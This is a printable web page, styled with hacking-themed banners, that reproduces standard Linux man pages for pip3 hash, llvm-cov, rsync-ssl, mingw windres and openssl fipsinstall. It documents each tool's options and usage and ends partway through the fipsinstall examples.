This is the multi-page printable view of this section. Click here to print.

Return to the regular view of this page.

Man Pages

▁ ▂ ▃ ▄ ꧁ 🔴☠ Man Pages ☠🔴꧂▅ ▃ ▂ ▁

Linux, Unix and Hacking Man Pages.

1 - Linux cli command pip3-hash

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pip3-hash and provides detailed information about the command pip3-hash, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pip3-hash.

NAME 🖥️ pip3-hash 🖥️

hash - description of pip3 hash command

DESCRIPTION

Compute a hash of a local package archive.

These can be used with –hash in a requirements file to do repeatable installs.

USAGE

python -m pip hash [options]

OPTIONS

-a, –algorithm <algorithm>
The hash algorithm to use: one of sha256, sha384, sha512

(environment variable: PIP_ALGORITHM)

AUTHOR

pip developers

COPYRIGHT

The pip developers

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2 - Linux cli command llvm-cov-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-cov-16 and provides detailed information about the command llvm-cov-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-cov-16.

NAME🖥️ llvm-cov

emit coverage information

SYNOPSIS

llvm-cov command [args…]

DESCRIPTION

The llvm-cov tool shows code coverage information for programs that are instrumented to emit profile data. It can be used to work with gcov-style coverage or with clang’s instrumentation based profiling.

If the program is invoked with a base name of gcov, it will behave as if the llvm-cov gcov command were called. Otherwise, a command should be provided.

COMMANDS

  • gcov

  • show

  • report

  • export

GCOV COMMAND

SYNOPSIS

llvm-cov gcov [options] SOURCEFILE

DESCRIPTION

The llvm-cov gcov tool reads code coverage data files and displays the coverage information for a specified source file. It is compatible with the gcov tool from version 4.2 of GCC and may also be compatible with some later versions of gcov.

To use llvm-cov gcov, you must first build an instrumented version of your application that collects coverage data as it runs. Compile with the -fprofile-arcs and -ftest-coverage options to add the instrumentation. (Alternatively, you can use the –coverage option, which includes both of those other options.)

At the time you compile the instrumented code, a .gcno data file will be generated for each object file. These .gcno files contain half of the coverage data. The other half of the data comes from .gcda files that are generated when you run the instrumented program, with a separate .gcda file for each object file. Each time you run the program, the execution counts are summed into any existing .gcda files, so be sure to remove any old files if you do not want their contents to be included.

By default, the .gcda files are written into the same directory as the object files, but you can override that by setting the GCOV_PREFIX and GCOV_PREFIX_STRIP environment variables. The GCOV_PREFIX_STRIP variable specifies a number of directory components to be removed from the start of the absolute path to the object file directory. After stripping those directories, the prefix from the GCOV_PREFIX variable is added. These environment variables allow you to run the instrumented program on a machine where the original object file directories are not accessible, but you will then need to copy the .gcda files back to the object file directories where llvm-cov gcov expects to find them.

Once you have generated the coverage data files, run llvm-cov gcov for each main source file where you want to examine the coverage results. This should be run from the same directory where you previously ran the compiler. The results for the specified source file are written to a file named by appending a .gcov suffix. A separate output file is also created for each file included by the main source file, also with a .gcov suffix added.

The basic content of an .gcov output file is a copy of the source file with an execution count and line number prepended to every line. The execution count is shown as - if a line does not contain any executable code. If a line contains code but that code was never executed, the count is displayed as #####.

OPTIONS

-a, –all-blocks
Display all basic blocks. If there are multiple blocks for a single line of source code, this option causes llvm-cov to show the count for each block instead of just one count for the entire line.

-b, –branch-probabilities
Display conditional branch probabilities and a summary of branch information.

-c, –branch-counts
Display branch counts instead of probabilities (requires -b).

-m, –demangled-names
Demangle function names.

-f, –function-summaries
Show a summary of coverage for each function instead of just one summary for an entire source file.

–help
Display available options (–help-hidden for more).

-l, –long-file-names
For coverage output of files included from the main source file, add the main file name followed by ## as a prefix to the output file names. This can be combined with the –preserve-paths option to use complete paths for both the main file and the included file.

-n, –no-output
Do not output any .gcov files. Summary information is still displayed.

-o <DIR|FILE>, –object-directory=<DIR>, –object-file=<FILE>
Find objects in DIR or based on FILE’s path. If you specify a particular object file, the coverage data files are expected to have the same base name with .gcno and .gcda extensions. If you specify a directory, the files are expected in that directory with the same base name as the source file.

-p, –preserve-paths
Preserve path components when naming the coverage output files. In addition to the source file name, include the directories from the path to that file. The directories are separate by # characters, with . directories removed and .. directories replaced by ^ characters. When used with the –long-file-names option, this applies to both the main file name and the included file name.

-r
Only dump files with relative paths or absolute paths with the prefix specified by -s.

-s <string>
Source prefix to elide.

-t, –stdout
Print to stdout instead of producing .gcov files.

-u, –unconditional-branches
Include unconditional branches in the output for the –branch-probabilities option.

-version
Display the version of llvm-cov.

-x, –hash-filenames
Use md5 hash of file name when naming the coverage output files. The source file name will be suffixed by ## followed by MD5 hash calculated for it.

EXIT STATUS

llvm-cov gcov returns 1 if it cannot read input files. Otherwise, it exits with zero.

SHOW COMMAND

SYNOPSIS

llvm-cov show [options] -instr-profile PROFILE [BIN] [-object BIN]… [-sources] [SOURCE]…

DESCRIPTION

The llvm-cov show command shows line by line coverage of the binaries BIN… using the profile data PROFILE. It can optionally be filtered to only show the coverage for the files listed in SOURCE….

BIN may be an executable, object file, dynamic library, or archive (thin or otherwise).

To use llvm-cov show, you need a program that is compiled with instrumentation to emit profile and coverage data. To build such a program with clang use the -fprofile-instr-generate and -fcoverage-mapping flags. If linking with the clang driver, pass -fprofile-instr-generate to the link stage to make sure the necessary runtime libraries are linked in.

The coverage information is stored in the built executable or library itself, and this is what you should pass to llvm-cov show as a BIN argument. The profile data is generated by running this instrumented program normally. When the program exits it will write out a raw profile file, typically called default.profraw, which can be converted to a format that is suitable for the PROFILE argument using the llvm-profdata merge tool.

OPTIONS

-show-branches=<VIEW>
Show coverage for branch conditions in terms of either count or percentage. The supported views are: “count”, “percent”.

-show-line-counts
Show the execution counts for each line. Defaults to true, unless another -show option is used.

-show-expansions
Expand inclusions, such as preprocessor macros or textual inclusions, inline in the display of the source file. Defaults to false.

-show-instantiations
For source regions that are instantiated multiple times, such as templates in C++, show each instantiation separately as well as the combined summary. Defaults to true.

-show-regions
Show the execution counts for each region by displaying a caret that points to the character where the region starts. Defaults to false.

-show-line-counts-or-regions
Show the execution counts for each line if there is only one region on the line, but show the individual regions if there are multiple on the line. Defaults to false.

-use-color
Enable or disable color output. By default this is autodetected.

-arch=[*NAMES*]
Specify a list of architectures such that the Nth entry in the list corresponds to the Nth specified binary. If the covered object is a universal binary, this specifies the architecture to use. It is an error to specify an architecture that is not included in the universal binary or to use an architecture that does not match a non-universal binary.

-name=<NAME>
Show code coverage only for functions with the given name.

-name-allowlist=<FILE>
Show code coverage only for functions listed in the given file. Each line in the file should start with allowlist_fun:, immediately followed by the name of the function to accept. This name can be a wildcard expression.

-name-regex=<PATTERN>
Show code coverage only for functions that match the given regular expression.

-ignore-filename-regex=<PATTERN>
Skip source code files with file paths that match the given regular expression.

-format=<FORMAT>
Use the specified output format. The supported formats are: “text”, “html”.

-tab-size=<TABSIZE>
Replace tabs with <TABSIZE> spaces when preparing reports. Currently, this is only supported for the html format.

-output-dir=PATH
Specify a directory to write coverage reports into. If the directory does not exist, it is created. When used in function view mode (i.e when -name or -name-regex are used to select specific functions), the report is written to PATH/functions.EXTENSION. When used in file view mode, a report for each file is written to PATH/REL_PATH_TO_FILE.EXTENSION.

-Xdemangler=<TOOL>|<TOOL-OPTION>
Specify a symbol demangler. This can be used to make reports more human-readable. This option can be specified multiple times to supply arguments to the demangler (e.g -Xdemangler c++filt -Xdemangler -n for C++). The demangler is expected to read a newline-separated list of symbols from stdin and write a newline-separated list of the same length to stdout.

-num-threads=N, -j=N
Use N threads to write file reports (only applicable when -output-dir is specified). When N=0, llvm-cov auto-detects an appropriate number of threads to use. This is the default.

-compilation-dir=<dir>
Directory used as a base for relative coverage mapping paths. Only applicable when binaries have been compiled with one of -fcoverage-prefix-map -fcoverage-compilation-dir, or -ffile-compilation-dir.

-line-coverage-gt=<N>
Show code coverage only for functions with line coverage greater than the given threshold.

-line-coverage-lt=<N>
Show code coverage only for functions with line coverage less than the given threshold.

-region-coverage-gt=<N>
Show code coverage only for functions with region coverage greater than the given threshold.

-region-coverage-lt=<N>
Show code coverage only for functions with region coverage less than the given threshold.

-path-equivalence=<from>,<to>
Map the paths in the coverage data to local source file paths. This allows you to generate the coverage data on one machine, and then use llvm-cov on a different machine where you have the same files on a different path.

-coverage-watermark=<high>,<low>
Set high and low watermarks for coverage in html format output. This allows you to set the high and low watermark of coverage as desired, green when coverage >= high, red when coverage < low, and yellow otherwise. Both high and low should be between 0-100 and high > low.

-debuginfod

Use debuginfod to look up coverage mapping for binary IDs present in the profile but not in any object given on the command line. Defaults to true if debuginfod is compiled in and configured via the DEBUGINFOD_URLS environment variable.

-debug-file-directory=<dir>

Provides local directories to search for objects corresponding to binary IDs in the profile (as with debuginfod). Defaults to system build ID directories.

REPORT COMMAND

SYNOPSIS

llvm-cov report [options] -instr-profile PROFILE [BIN] [-object BIN]… [-sources] [SOURCE]…

DESCRIPTION

The llvm-cov report command displays a summary of the coverage of the binaries BIN… using the profile data PROFILE. It can optionally be filtered to only show the coverage for the files listed in SOURCE….

BIN may be an executable, object file, dynamic library, or archive (thin or otherwise).

If no source files are provided, a summary line is printed for each file in the coverage data. If any files are provided, summaries can be shown for each function in the listed files if the -show-functions option is enabled.

For information on compiling programs for coverage and generating profile data, see SHOW COMMAND.

OPTIONS

-use-color[=VALUE]
Enable or disable color output. By default this is autodetected.

-arch=<name>
If the covered binary is a universal binary, select the architecture to use. It is an error to specify an architecture that is not included in the universal binary or to use an architecture that does not match a non-universal binary.

-show-region-summary
Show statistics for all regions. Defaults to true.

-show-branch-summary
Show statistics for all branch conditions. Defaults to true.

-show-functions
Show coverage summaries for each function. Defaults to false.

-show-instantiation-summary
Show statistics for all function instantiations. Defaults to false.

-ignore-filename-regex=<PATTERN>
Skip source code files with file paths that match the given regular expression.

-compilation-dir=<dir>
Directory used as a base for relative coverage mapping paths. Only applicable when binaries have been compiled with one of -fcoverage-prefix-map -fcoverage-compilation-dir, or -ffile-compilation-dir.

-debuginfod

Attempt to look up coverage mapping from objects using debuginfod. This is attempted by default for binary IDs present in the profile but not provided on the command line, so long as debuginfod is compiled in and configured via DEBUGINFOD_URLS.

-debug-file-directory=<dir>

Provides a directory to search for objects corresponding to binary IDs in the profile.

EXPORT COMMAND

SYNOPSIS

llvm-cov export [options] -instr-profile PROFILE [BIN] [-object BIN]… [-sources] [SOURCE]…

DESCRIPTION

The llvm-cov export command exports coverage data of the binaries BIN… using the profile data PROFILE in either JSON or lcov trace file format.

When exporting JSON, the regions, functions, branches, expansions, and summaries of the coverage data will be exported. When exporting an lcov trace file, the line-based coverage, branch coverage, and summaries will be exported.

The exported data can optionally be filtered to only export the coverage for the files listed in SOURCE….

For information on compiling programs for coverage and generating profile data, see SHOW COMMAND.

OPTIONS

-arch=<name>
If the covered binary is a universal binary, select the architecture to use. It is an error to specify an architecture that is not included in the universal binary or to use an architecture that does not match a non-universal binary.

-format=<FORMAT>
Use the specified output format. The supported formats are: “text” (JSON), “lcov”.

-summary-only
Export only summary information for each file in the coverage data. This mode will not export coverage information for smaller units such as individual functions or regions. The result will contain the same information as produced by the llvm-cov report command, but presented in JSON or lcov format rather than text.

-ignore-filename-regex=<PATTERN>
Skip source code files with file paths that match the given regular expression.

-skip-expansions

Skip exporting macro expansion coverage data.

-skip-functions

Skip exporting per-function coverage data.

-num-threads=N, -j=N

Use N threads to export coverage data. When N=0, llvm-cov auto-detects an appropriate number of threads to use. This is the default.

-compilation-dir=<dir>
Directory used as a base for relative coverage mapping paths. Only applicable when binaries have been compiled with one of -fcoverage-prefix-map -fcoverage-compilation-dir, or -ffile-compilation-dir.

-debuginfod

Attempt to look up coverage mapping from objects using debuginfod. This is attempted by default for binary IDs present in the profile but not provided on the command line, so long as debuginfod is compiled in and configured via DEBUGINFOD_URLS.

-debug-file-directory=<dir>

Provides a directory to search for objects corresponding to binary IDs in the profile.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

3 - Linux cli command rsync-ssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rsync-ssl and provides detailed information about the command rsync-ssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of the use of rsync-ssl. You can access this man page by typing man followed by the rsync-ssl.

NAME 🖥️ rsync-ssl 🖥️

ssl - a helper script for connecting to an ssl rsync daemon

SYNOPSIS

rsync-ssl [--type=SSL_TYPE] RSYNC_ARGS

The online version of this manpage (that includes cross-linking of topics) is available at .

DESCRIPTION

The rsync-ssl script helps you to run an rsync copy to/from an rsync daemon that requires ssl connections.

The script requires that you specify an rsync-daemon arg in the style of either hostname:: (with 2 colons) or rsync://hostname/. The default port used for connecting is 874 (one higher than the normal 873) unless overridden in the environment. You can specify an overriding port via –port or by including it in the normal spot in the URL format, though both of those require your rsync version to be at least 3.2.0.

OPTIONS

If the first arg is a –type=SSL_TYPE option, the script will only use that particular program to open an ssl connection instead of trying to find an openssl or stunnel executable via a simple heuristic (assuming that the RSYNC_SSL_TYPE environment variable is not set as well – see below). This option must specify one of openssl or stunnel. The equal sign is required for this particular option.

All the other options are passed through to the rsync command, so consult the rsync(1) manpage for more information on how it works.

ENVIRONMENT VARIABLES

The ssl helper scripts are affected by the following environment variables:

RSYNC_SSL_TYPE  

Specifies the program type that should be used to open the ssl connection. It must be one of openssl or stunnel. The –type=SSL_TYPE option overrides this, when specified.

RSYNC_SSL_PORT  

If specified, the value is the port number that is used as the default when the user does not specify a port in their rsync command. When not specified, the default port number is 874. (Note that older rsync versions (prior to 3.2.0) did not communicate an overriding port number value to the helper script.)

RSYNC_SSL_CERT  

If specified, the value is a filename that contains a certificate to use for the connection.

RSYNC_SSL_KEY  

If specified, the value is a filename that contains a key for the provided certificate to use for the connection.

RSYNC_SSL_CA_CERT  

If specified, the value is a filename that contains a certificate authority certificate that is used to validate the connection.

RSYNC_SSL_OPENSSL  

Specifies the openssl executable to run when the connection type is set to openssl. If unspecified, the $PATH is searched for “openssl”.

RSYNC_SSL_GNUTLS  

Specifies the gnutls-cli executable to run when the connection type is set to gnutls. If unspecified, the $PATH is searched for “gnutls-cli”.

RSYNC_SSL_STUNNEL  

Specifies the stunnel executable to run when the connection type is set to stunnel. If unspecified, the $PATH is searched first for “stunnel4” and then for “stunnel”.

EXAMPLES

´´´sh rsync-ssl -aiv example.com::mod/ dest

rsync-ssl –type=openssl -aiv example.com::mod/ dest

rsync-ssl -aiv –port 9874 example.com::mod/ dest

rsync-ssl -aiv rsync://example.com:9874/mod/ dest ´´´

THE SERVER SIDE

For help setting up an SSL/TLS supporting rsync, see the instructions in rsyncd.conf.

SEE ALSO

rsync(1), rsyncd.conf(5)

CAVEATS

Note that using an stunnel connection requires at least version 4 of stunnel, which should be the case on modern systems. Also, it does not verify a connection against the CA certificate collection, so it only encrypts the connection without any cert validation unless you have specified the certificate environment options.

This script also supports a –type=gnutls option, but at the time of this release the gnutls-cli command was dropping output, making it unusable. If that bug has been fixed in your version, feel free to put gnutls into an exported RSYNC_SSL_TYPE environment variable to make its use the default.

BUGS

Please report bugs! See the web site at .

VERSION

This manpage is current for version 3.3.0 of rsync.

CREDITS

Rsync is distributed under the GNU General Public License. See the file COPYING for details.

A web site is available at . The site includes an FAQ-O-Matic which may cover questions unanswered by this manual page.

AUTHOR

This manpage was written by Wayne Davison.

Mailing lists for support and development are available at .

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

4 - Linux cli command x86_64-w64-mingw32-windres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32-windres and provides detailed information about the command x86_64-w64-mingw32-windres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32-windres.

NAME 🖥️ x86_64-w64-mingw32-windres 🖥️

manipulate Windows resources

SYNOPSIS

windres [options] [input-file] [output-file]

DESCRIPTION

windres reads resources from an input file and copies them into an output file. Either file may be in one of three formats:

“rc”
A text format read by the Resource Compiler.

“res”
A binary format generated by the Resource Compiler.

“coff”
A COFF object or executable.

The exact description of these different formats is available in documentation from Microsoft.

When windres converts from the rc format to the res format, it is acting like the Windows Resource Compiler. When windres converts from the res format to the coff format, it is acting like the Windows CVTRES program.

When windres generates an rc file, the output is similar but not identical to the format expected for the input. When an input rc file refers to an external filename, an output rc file will instead include the file contents.

If the input or output format is not specified, windres will guess based on the file name, or, for the input file, the file contents. A file with an extension of .rc will be treated as an rc file, a file with an extension of .res will be treated as a res file, and a file with an extension of .o or .exe will be treated as a coff file.

If no output file is specified, windres will print the resources in rc format to standard output.

The normal use is for you to write an rc file, use windres to convert it to a COFF object file, and then link the COFF file into your application. This will make the resources described in the rc file available to Windows.

OPTIONS

-i filename

–input filename

The name of the input file. If this option is not used, then windres will use the first non-option argument as the input file name. If there are no non-option arguments, then windres will read from standard input. windres can not read a COFF file from standard input.

-o filename

–output filename

The name of the output file. If this option is not used, then windres will use the first non-option argument, after any used for the input file name, as the output file name. If there is no non-option argument, then windres will write to standard output. windres can not write a COFF file to standard output. Note, for compatibility with rc the option -fo is also accepted, but its use is not recommended.

-J format

–input-format format

The input format to read. format may be res, rc, or coff. If no input format is specified, windres will guess, as described above.

-O format

–output-format format

The output format to generate. format may be res, rc, or coff. If no output format is specified, windres will guess, as described above.

-F target

–target target

Specify the BFD format to use for a COFF file as input or output. This is a BFD target name; you can use the –help option to see a list of supported targets. Normally windres will use the default format, which is the first one listed by the –help option.

–preprocessor program
When windres reads an rc file, it runs it through the C preprocessor first. This option may be used to specify the preprocessor to use. The default preprocessor is gcc.

–preprocessor-arg option
When windres reads an rc file, it runs it through the C preprocessor first. This option may be used to specify additional text to be passed to preprocessor on its command line. This option can be used multiple times to add multiple options to the preprocessor command line. If the –preprocessor option has not been specified then a default set of preprocessor arguments will be used, with any –preprocessor-arg options being placed after them on the command line. These default arguments are -E, -xc-header and -DRC_INVOKED.

-I directory

–include-dir directory

Specify an include directory to use when reading an rc file. windres will pass this to the preprocessor as an -I option. windres will also search this directory when looking for files named in the rc file. If the argument passed to this command matches any of the supported formats (as described in the -J option), it will issue a deprecation warning, and behave just like the -J option. New programs should not use this behaviour. If a directory happens to match a format, simple prefix it with ./ to disable the backward compatibility.

-D target

–define sym[=val]

Specify a -D option to pass to the preprocessor when reading an rc file.

-U target

–undefine sym

Specify a -U option to pass to the preprocessor when reading an rc file.

-r
Ignored for compatibility with rc.

-v
Enable verbose mode. This tells you what the preprocessor is if you didn’t specify one.

-c val

–codepage val

Specify the default codepage to use when reading an rc file. val should be a hexadecimal prefixed by 0x or decimal codepage code. The valid range is from zero up to 0xffff, but the validity of the codepage is host and configuration dependent.

-l val

–language val

Specify the default language to use when reading an rc file. val should be a hexadecimal language code. The low eight bits are the language, and the high eight bits are the sublanguage.

–use-temp-file
Use a temporary file to instead of using popen to read the output of the preprocessor. Use this option if the popen implementation is buggy on the host (eg., certain non-English language versions of Windows 95 and Windows 98 are known to have buggy popen where the output will instead go the console).

–no-use-temp-file
Use popen, not a temporary file, to read the output of the preprocessor. This is the default behaviour.

-h

–help

Prints a usage summary.

-V

–version

Prints the version number for windres.

–yydebug
If windres is compiled with YYDEBUG defined as 1, this will turn on parser debugging.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

5 - Linux cli command openssl-fipsinstallssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-fipsinstallssl and provides detailed information about the command openssl-fipsinstallssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-fipsinstallssl.

NAME 🖥️ openssl-fipsinstallssl 🖥️

fipsinstall - perform FIPS configuration installation

SYNOPSIS

openssl fipsinstall [-help] [-in configfilename] [-out configfilename] [-module modulefilename] [-provider_name providername] [-section_name sectionname] [-verify] [-mac_name macname] [-macopt nm:v] [-noout] [-quiet] [-pedantic] [-no_conditional_errors] [-no_security_checks] [-ems_check] [-no_drbg_truncated_digests] [-self_test_onload] [-self_test_oninstall] [-corrupt_desc selftest_description] [-corrupt_type selftest_type] [-config parent_config]

DESCRIPTION

This command is used to generate a FIPS module configuration file. This configuration file can be used each time a FIPS module is loaded in order to pass data to the FIPS module self tests. The FIPS module always verifies its MAC, but optionally only needs to run the KAT’s once, at installation.

The generated configuration file consists of:

- A MAC of the FIPS module file.

- A test status indicator.

This indicates if the Known Answer Self Tests (KAT’s) have successfully run.

- A MAC of the status indicator.

- A control for conditional self tests errors.

By default if a continuous test (e.g a key pair test) fails then the FIPS module will enter an error state, and no services or cryptographic algorithms will be able to be accessed after this point. The default value of ‘1’ will cause the fips module error state to be entered. If the value is ‘0’ then the module error state will not be entered. Regardless of whether the error state is entered or not, the current operation (e.g. key generation) will return an error. The user is responsible for retrying the operation if the module error state is not entered.

- A control to indicate whether run-time security checks are done.
This indicates if run-time checks related to enforcement of security parameters such as minimum security strength of keys and approved curve names are used. The default value of ‘1’ will perform the checks. If the value is ‘0’ the checks are not performed and FIPS compliance must be done by procedures documented in the relevant Security Policy.

This file is described in fips_config (5).

OPTIONS

-help
Print a usage message.

-module filename
Filename of the FIPS module to perform an integrity check on. The path provided in the filename is used to load the module when it is activated, and this overrides the environment variable OPENSSL_MODULES.

-out configfilename
Filename to output the configuration data to; the default is standard output.

-in configfilename
Input filename to load configuration data from. Must be used if the -verify option is specified.

-verify
Verify that the input configuration file contains the correct information.

-provider_name providername
Name of the provider inside the configuration file. The default value is fips.

-section_name sectionname
Name of the section inside the configuration file. The default value is fips_sect.

-mac_name name
Specifies the name of a supported MAC algorithm which will be used. The MAC mechanisms that are available will depend on the options used when building OpenSSL. To see the list of supported MAC’s use the command openssl list -mac-algorithms. The default is HMAC.

-macopt nm:v
Passes options to the MAC algorithm. A comprehensive list of controls can be found in the EVP_MAC implementation documentation. Common control strings used for this command are:

key:string
Specifies the MAC key as an alphanumeric string (use if the key contains printable characters only). The string length must conform to any restrictions of the MAC algorithm. A key must be specified for every MAC algorithm. If no key is provided, the default that was specified when OpenSSL was configured is used.

hexkey:string
Specifies the MAC key in hexadecimal form (two hex digits per byte). The key length must conform to any restrictions of the MAC algorithm. A key must be specified for every MAC algorithm. If no key is provided, the default that was specified when OpenSSL was configured is used.

digest:string
Used by HMAC as an alphanumeric string (use if the key contains printable characters only). The string length must conform to any restrictions of the MAC algorithm. To see the list of supported digests, use the command openssl list -digest-commands. The default digest is SHA-256.

-noout
Disable logging of the self tests.

-pedantic
Configure the module so that it is strictly FIPS compliant rather than being backwards compatible. This enables conditional errors, security checks etc. Note that any previous configuration options will be overwritten and any subsequent configuration options that violate FIPS compliance will result in an error.

-no_conditional_errors
Configure the module to not enter an error state if a conditional self test fails as described above.

-no_security_checks
Configure the module to not perform run-time security checks as described above. Enabling the configuration option “no-fips-securitychecks” provides another way to turn off the check at compile time.

-ems_check
Configure the module to enable a run-time Extended Master Secret (EMS) check when using the TLS1_PRF KDF algorithm. This check is disabled by default. See RFC 7627 for information related to EMS.

-no_drbg_truncated_digests
Configure the module to not allow truncated digests to be used with Hash and HMAC DRBGs. See FIPS 140-3 IG D.R for details.

-self_test_onload
Do not write the two fields related to the “test status indicator” and “MAC status indicator” to the output configuration file. Without these fields the self tests KATS will run each time the module is loaded. This option could be used for cross compiling, since the self tests need to run at least once on each target machine. Once the self tests have run on the target machine the user could possibly then add the 2 fields into the configuration using some other mechanism. This is the default.

-self_test_oninstall
The converse of -self_test_oninstall. The two fields related to the “test status indicator” and “MAC status indicator” are written to the output configuration file.

-quiet
Do not output pass/fail messages. Implies -noout.

-corrupt_desc selftest_description, -corrupt_type selftest_type
The corrupt options can be used to test failure of one or more self tests by name. Either option or both may be used to select the tests to corrupt. Refer to the entries for st-desc and st-type in OSSL_PROVIDER-FIPS (7) for values that can be used.

-config parent_config
Test that a FIPS provider can be loaded from the specified configuration file. A previous call to this application needs to generate the extra configuration data that is included by the base parent_config configuration file. See config (5) for further information on how to set up a provider section. All other options are ignored if ‘-config’ is used.

NOTES

Self tests results are logged by default if the options -quiet and -noout are not specified, or if either of the options -corrupt_desc or -corrupt_type are used. If the base configuration file is set up to autoload the fips module, then the fips module will be loaded and self tested BEFORE the fipsinstall application has a chance to set up its own self test callback. As a result of this the self test output and the options -corrupt_desc and -corrupt_type will be ignored. For normal usage the base configuration file should use the default provider when generating the fips configuration file.

The -self_test_oninstall option was added and the -self_test_onload option was made the default in OpenSSL 3.1.

The command and all remaining options were added in OpenSSL 3.0.

EXAMPLES

Calculate the mac of a FIPS module fips.so and run a FIPS self test for the module, and save the fips.cnf configuration file:

openssl fipsinstall -module ./fips.so -out fips.cnf -provider_name fips

Verify that the configuration file fips.cnf contains the correct info:

openssl fipsinstall -module ./fips.so -in fips.cnf -provider_name fips -verify

Corrupt any self tests which have the description SHA1:

openssl fipsinstall -module ./fips.so -out fips.cnf -provider_name fips \ -corrupt_desc SHA1

Validate that the fips module can be loaded from a base configuration file:

